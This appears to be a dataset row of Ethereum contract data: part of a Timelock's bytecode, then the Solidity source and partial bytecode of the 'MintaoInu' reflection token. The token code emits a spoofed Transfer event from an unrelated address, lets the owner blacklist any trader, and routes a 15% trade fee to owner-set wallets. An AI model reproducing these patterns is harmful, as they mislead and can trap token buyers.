0000000000815260040180806020018281038252603d815260200180611d45603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e1a578082015181840152602081019050610dff565b50505050905090810190601f168015610e475780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610e80578082015181840152602081019050610e65565b50505050905090810190601f168015610ead5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cd76038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611129576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611d0f6036913960400191505060405180910390fd5b611145600254611137611ab6565b611abe90919063ffffffff16565b82101561119d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611d826049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561122957808201518184015260208101905061120e565b50505050905090810190601f1680156112565780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561128f578082015181840152602081019050611274565b50505050905090810190601f1680156112bc5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561139757808201518184015260208101905061137c565b50505050905090810190601f1680156113c45780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156113fd5780820151818401526020810190506113e2565b50505050905090810190601f16801561142a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114ed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180611dfc6035913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461163b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611b7f6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156116c75780820151818401526020810190506116ac565b50505050905090810190601f1680156116f45780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561172d578082015181840152602081019050611712565b50505050905090810190601f16801561175a5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561183557808201518184015260208101905061181a565b50505050905090810190601f1680156118625780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561189b578082015181840152602081019050611880565b50505050905090810190601f1680156118c85780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6201518081565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611980576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611dcb6031913960400191505060405180910390fd5b620151808110156119dc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611c2e6034913960400191505060405180910390fd5b62278d00811115611a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611c626038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60036020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611b3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2ea265627a7a72315820688ceabb3384e6e7a990017672871a0010a0dd1216807a367ddfdd4d097ae46b64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 3,954 |
0xd9318b227ba1fe382c3ef85c7451d880bd66b779
|
/**
*Submitted for verification at
*/
/**
*Submitted for verification at
*/
/**
*
*/
/**
*
*/
/**
*Join us to t.me/MintaoInu
* Visit our website www.mintaoinu.xyz
*/
/**
*/
/**
*Submitted for verification
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MintaoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "MintaoInu";
string private constant _symbol = "MintaoInu";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600981526020017f4d696e74616f496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d696e74616f496e750000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460f